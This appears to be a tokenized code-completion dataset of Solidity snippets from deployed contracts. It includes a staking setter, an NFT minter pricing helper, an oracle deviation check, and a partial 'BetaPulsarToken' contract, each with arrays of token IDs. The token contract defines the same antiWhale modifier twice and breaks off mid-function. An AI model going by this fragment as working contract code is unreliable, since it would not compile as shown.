-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x5d3E369f7e3419812980Fec0dFb3828c8DaE278F/sources/project_/contracts/stake/tokens/AutoRefactorCoinage.sol
_factorIncrement = factorIncrement;_lastBlock = block.number;_transfersEnabled = transfersEnabled;
{ _factor = factor; }
7,058,063
[ 1, 4625, 348, 7953, 560, 30, 389, 6812, 10798, 273, 5578, 10798, 31, 67, 2722, 1768, 273, 1203, 18, 2696, 31, 67, 2338, 18881, 1526, 273, 29375, 1526, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 288, 203, 565, 389, 6812, 273, 5578, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7961E3204E81025B7f24b2EE9F2e31F87ec55CdD/sources/contracts/minter/GenArtMinterPublic.sol
* @dev Internal helper method to set pricing for collection @param collection contract address of the collection @param params mint params/
function _setPricing( address collection, PublicSaleParams memory params ) internal { super._setMintParams( collection, params.startTime, params.mintAllocContract ); saleParams[collection] = params; }
4,921,316
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 3186, 4222, 707, 358, 444, 31765, 364, 1849, 632, 891, 1849, 6835, 1758, 434, 326, 1849, 632, 891, 859, 312, 474, 859, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 542, 52, 1512, 310, 12, 203, 3639, 1758, 1849, 16, 203, 3639, 7224, 30746, 1370, 3778, 859, 203, 565, 262, 2713, 288, 203, 3639, 2240, 6315, 542, 49, 474, 1370, 12, 203, 5411, 1849, 16, 203, 5411, 859, 18, 1937, 950, 16, 203, 5411, 859, 18, 81, 474, 8763, 8924, 203, 3639, 11272, 203, 3639, 272, 5349, 1370, 63, 5548, 65, 273, 859, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x157ED4Dcd657d17Aa2c3dCA31f30043e8Eff4f2E/sources/contracts/libraries/OracleLibrary.sol
* @notice Checks if the the current price has deviation from the pool price @param _pool Address of the pool @param _registry Chainlink registry interface @param _usdAsBase checks if pegged to USD @param _manager Manager contract address to check allowed deviation/ get price of token0 Uniswap and convert it to USD get price of token0 from Chainlink in USD check if the price is above deviation and return
function hasDeviation( IStrategyFactory _factory, IUniswapV3Pool _pool, FeedRegistryInterface _registry, bool[2] memory _usdAsBase, address _manager ) public view returns (bool) { uint256 uniswapPriceInUSD = FullMath.mulDiv( getUniswapPrice(_pool), getPriceInUSD(_factory, _registry, _pool.token1(), _usdAsBase[1]), BASE ); uint256 chainlinkPriceInUSD = getPriceInUSD(_factory, _registry, _pool.token0(), _usdAsBase[0]); uint256 diff; diff = FullMath.mulDiv(uniswapPriceInUSD, BASE, chainlinkPriceInUSD); uint256 _allowedDeviation = IStrategyManager(_manager).allowedDeviation(); return diff > BASE.add(_allowedDeviation) || diff < BASE.sub(_allowedDeviation); }
3,598,340
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 13074, 309, 326, 326, 783, 6205, 711, 17585, 628, 326, 2845, 6205, 632, 891, 389, 6011, 5267, 434, 326, 2845, 632, 891, 389, 9893, 7824, 1232, 4023, 1560, 632, 891, 389, 407, 72, 1463, 2171, 4271, 309, 29231, 2423, 358, 587, 9903, 632, 891, 389, 4181, 8558, 6835, 1758, 358, 866, 2935, 17585, 19, 336, 6205, 434, 1147, 20, 1351, 291, 91, 438, 471, 1765, 518, 358, 587, 9903, 336, 6205, 434, 1147, 20, 628, 7824, 1232, 316, 587, 9903, 866, 309, 326, 6205, 353, 5721, 17585, 471, 327, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 711, 758, 13243, 12, 203, 3639, 467, 4525, 1733, 389, 6848, 16, 203, 3639, 467, 984, 291, 91, 438, 58, 23, 2864, 389, 6011, 16, 203, 3639, 14013, 4243, 1358, 389, 9893, 16, 203, 3639, 1426, 63, 22, 65, 3778, 389, 407, 72, 1463, 2171, 16, 203, 3639, 1758, 389, 4181, 203, 565, 262, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 2254, 5034, 640, 291, 91, 438, 5147, 382, 3378, 40, 273, 11692, 10477, 18, 16411, 7244, 12, 203, 5411, 10833, 291, 91, 438, 5147, 24899, 6011, 3631, 203, 5411, 25930, 382, 3378, 40, 24899, 6848, 16, 389, 9893, 16, 389, 6011, 18, 2316, 21, 9334, 389, 407, 72, 1463, 2171, 63, 21, 65, 3631, 203, 5411, 10250, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 2687, 1232, 5147, 382, 3378, 40, 273, 25930, 382, 3378, 40, 24899, 6848, 16, 389, 9893, 16, 389, 6011, 18, 2316, 20, 9334, 389, 407, 72, 1463, 2171, 63, 20, 19226, 203, 203, 3639, 2254, 5034, 3122, 31, 203, 203, 3639, 3122, 273, 11692, 10477, 18, 16411, 7244, 12, 318, 291, 91, 438, 5147, 382, 3378, 40, 16, 10250, 16, 2687, 1232, 5147, 382, 3378, 40, 1769, 203, 203, 3639, 2254, 5034, 389, 8151, 758, 13243, 273, 467, 4525, 1318, 24899, 4181, 2934, 8151, 758, 13243, 5621, 203, 203, 3639, 327, 3122, 405, 10250, 18, 1289, 24899, 8151, 758, 13243, 13, 747, 3122, 411, 10250, 18, 1717, 24899, 8151, 758, 13243, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x89e7324D432324860900BA34b409B11369A1F9a0/sources/contracts/deneme.sol
BetaPulsarToken with Governance.
contract BetaPulsarToken is ERC20('BetaPulsarToken', 'BPUL') { uint256 public transferTaxRate = 700; uint256 public transferPvpComission = 100; uint256 public totalTransferTaxRate = transferTaxRate + transferPvpComission; uint256 public constant MAXIMUM_TRANSFER_TAX_RATE = 2000; uint256 public constant MAXIMUM_TRANSFER_PVP_COMISSION = 2000; uint256 public maxTransfer = 500; address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; address public developer; address public master; address public pvp; constructor( address _developer, address _pvp ) public { developer = _developer; pvp = _pvp; } function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } mapping (address => address) internal _delegates; struct Checkpoint { uint32 fromBlock; uint256 votes; } event TransferTaxRateUpdated(uint256 previousTaxRate, uint256 newTaxRate); event TransferPvpComissionUpdated(uint256 previousPvpComission, uint256 newPvpComission); event SetNewDeveloper(address indexed oldDeveloper, address indexed newDeveloper); event SetMaxTransfer(address indexed dev, uint256 newAmount); event SetPvpAddress(address indexed dev, address indexed previousPvpAddress, address indexed newPvpAddress); mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; mapping (address => uint32) public numCheckpoints; bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping (address => uint) public nonces; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); modifier onlyDeveloper() { require(developer == _msgSender(), "Caller is not the developer"); _; } modifier antiWhale(address sender, address recipient, uint256 amount) { bool antiWhaleDeactivate = (sender == developer || recipient == developer || sender == master || recipient == master); if (maxTransferAmount() > 0 && !antiWhaleDeactivate) { require(amount <= maxTransferAmount(), "BPUL::antiWhale: Transfer amount exceeds the maxTransferAmount"); } _; } modifier antiWhale(address sender, address recipient, uint256 amount) { bool antiWhaleDeactivate = (sender == developer || recipient == developer || sender == master || recipient == master); if (maxTransferAmount() > 0 && !antiWhaleDeactivate) { require(amount <= maxTransferAmount(), "BPUL::antiWhale: Transfer amount exceeds the maxTransferAmount"); } _; } function setMasterAddress(address _master) public onlyDeveloper{ master = _master; } function setMaxTransfer(uint256 _amount) public onlyDeveloper{ maxTransfer = _amount; emit SetMaxTransfer(msg.sender, _amount); } function maxTransferAmount() public view returns (uint256) { return totalSupply().mul(maxTransfer).div(10000); } function updateTransferTaxRate(uint256 _transferTaxRate) public onlyDeveloper { require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "BPUL::updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferTaxRateUpdated(transferTaxRate, 